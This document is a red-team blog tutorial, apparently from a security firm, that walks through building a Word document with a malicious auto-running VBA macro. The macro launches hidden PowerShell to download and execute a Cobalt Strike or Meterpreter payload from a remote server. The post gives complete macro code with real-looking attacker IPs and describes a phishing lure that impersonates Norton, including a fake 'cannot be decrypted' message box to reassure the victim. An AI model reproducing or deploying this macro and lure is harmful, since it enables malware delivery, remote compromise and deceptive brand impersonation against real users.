Hunnic Cyber - Logo

Fundamentals of Malicious Word Macros

In this post I am going to be discussing how to create a Word document with a malicious macro that will connect back to a Cobalt Strike Teamserver, WITHOUT using Cobalt Strike's automated generation of the macro.

I will be discussing methods of obfuscating the macro in the next post, but here how to create a Word document that will use social engineering to convince the user to enable Macros.

So lets create a blank Word document first:

We will first focus on creating the Macro. If you click on View > Macros then you will be taken to the Macro editor:

Here we will enter Test as the Macro Name, select and click create:

This should bring you to the Microsoft Visual Basic for Applications screen where we will actually create our Macro.

Next we will use a template that we will modify that can be found here. This one in particular also has persistence inbuilt, however we'll remove that part for the moment.

So the VBS that we want to take is as follows:

Sub Auto_Open()

Execute

End Sub

Public Function Execute() As Variant
Const HIDDEN_WINDOW = 0
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")

Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
objProcess.Create "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.1.127/Invoke-Shellcode')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.127 -Lport 1111 -Force", Null, objConfig, intProcessID
End Function

Note to remove persistence as a function from the top. The next bit is actually to look at the PowerShell payload:

powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.1.127/Invoke-Shellcode')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.127 -Lport 1111 -Force"

Depending on your set up, we will be using Cobalt Strike to generate either a scripted web delivery, or hosting a ps1 on a staging server which will beacon back to the teamserver via a redirector.

In this case, owing to the lack of infrastructure available to me at home, I will simply be showing you how to connect directly back to the teamserver from the compromised host but the almost the exact same method applies if you are using a staging server.

So next step is to create a listener on the team server. So go to Cobalt Strike > Listeners > Add.

I will be using an IP and port 443. However if you have a domain pointing to your teamserver then you can use a domain too.

Next we will go to Attacks > Web Drive-By > Scripted Web Delivery. Then you can select a URI path and more. We will use the following settings:

When you click Launch there will be a pop up with a PowerShell command. So let's copy that. In my case it is:

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://stagingserverip:port/example.ps1'))"

Now let's go back to our Macro and inset the above command into the correct place as discussed above. If you were to host a ps1 file on staging server generated by Cobalt Strike it would look like this:

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://stagingserverip:port/example.ps1'))"

The finished Macro should look like the following. Note because I am using Word as opposed to Excel i have changed Sub Auto_Open() to Sub AutoOpen():

Sub AutoOpen()

Execute

End Sub

Public Function Execute() As Variant
Const HIDDEN_WINDOW = 0
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")

Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
objProcess.Create "powershell.exe -nop -w hidden -c IEX ((New-Object Net.WebClient).DownloadString('http://185.77.66.73:80/a'))", Null, objConfig, intProcessID
End Function

Next we can copy this across in Word's Macro editor:

And from here we can execute the Macro to test if it works. If you have done it correctly you should see a beacon back from your Windows test machine:

So now we have an un-obfuscated Word Macro that connects back to our teamserver when the macro is run, either via the staging server or directly.

In terms of obfuscations, I will be discussing this in my next blog post,  as I believe that it is a topic unto itself.

So we have a Word Macro that connects back to our teamserver, next we want a reason for the user to actually open it.

During engagements we tend to trick the user into believing the document is encrypted and in order to view the file you need to decrypt the word document by enabling Macros.

So let's go and grab a Norton Anti Virus logo off Google:

Then insert the logo and add text along the lines of:

This document has be encrypted by Norton Secure Crypt TM. Please enable Macro's to view this document.

Then add a hash, Norton Symantec Help Desk details, a button to show how to enable Macro's or similar.

In my case I have made it look like the following:

 

Finally you will want to add a message box that pops up and tells the user that the file cannot decrypt so that they are not concerned with nothing happening to the document after Macros are enabled.

We can do this by adding the following after the function has run:

Result = MsgBox("The document cannot be decrypted.", vbAbortRetryIgnore + vbCritical, "Please contact Norton (Symantec) IT support.")

It should look like this when run:

So the final Macro we have created with the Message box  should look like this:

Sub AutoOpen()

Execute
Result = MsgBox("The document cannot be decrypted.", vbAbortRetryIgnore + vbCritical, "Please contact Norton (Symantec) IT support.")

End Sub

Public Function Execute() As Variant
Const HIDDEN_WINDOW = 0
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")

Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
objProcess.Create "powershell.exe -nop -w hidden -c IEX ((New-Object Net.WebClient).DownloadString('http://185.77.66.73:80/a'))", Null, objConfig, intProcessID
End Function

We now have a Word document with a malicious Macro to connect back to our server, and equally importantly a convincing document for them to enable Macros.

As discussed earlier in the blog post, part 2 will deal with obfuscating the above VBA so that fewer, if any, anti virus solutions will pick it up.